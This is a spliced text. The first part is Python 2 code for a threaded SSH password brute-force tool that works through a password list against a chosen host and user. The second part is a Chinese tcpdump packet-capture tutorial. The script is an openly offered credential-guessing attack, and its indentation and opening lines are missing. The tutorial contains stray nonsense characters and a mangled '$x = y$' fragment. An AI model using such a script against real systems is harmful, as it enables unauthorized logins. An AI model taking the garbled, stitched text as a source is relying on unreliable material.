Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'
)
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()
tcpdump 抓包工具
1)tcpdump(傳輸/網(wǎng)絡(luò)層)
tcpdump -i eth0
tcpdump -i eth0 -vnn
-v:顯示包含有TTL瘫辩,TOS值等等更詳細(xì)的信息
-n:不要做IP解析為主機(jī)名
-nn:不做名字解析和端口解析
更有針對(duì)性的抓包:
針對(duì)IP伏嗜,網(wǎng)段,端口伐厌,協(xié)議
tcpdump -n -i eth0 -vnn host 192.168.0.154 --主機(jī)地址里邊只要包含地址有:192.168.0.154
tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一個(gè)網(wǎng)段數(shù)據(jù)包
tcpdump -i eth0 -vnn port 22
tcpdump -i eth0 -vnn udp
tcpdump -i eth0 -vnn icmp ping
tcpdump -i eth0 -vnn arp
$x = y$$x = y$ # tcpdump -i eth0 -vnn ip
tcpdump -n -i eth0 -vnn src host 192.168.0.154
tcpdump -i eth0 -vnn dst host 192.168.0.154
tcpdump -i eth0 -vnn src port 22
tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22
tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22
tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22
抓包最主要的功能在于調(diào)試承绸,比如在調(diào)試某個(gè)服務(wù)的時(shí)候 明明服務(wù)起來了 但是不知道為什么鏈接不上 可以通過抓包工具來測(cè)試看看請(qǐng)求包有沒有過來服務(wù)器,來判斷是傳輸過程中失敗了 還是被服務(wù)器拒絕了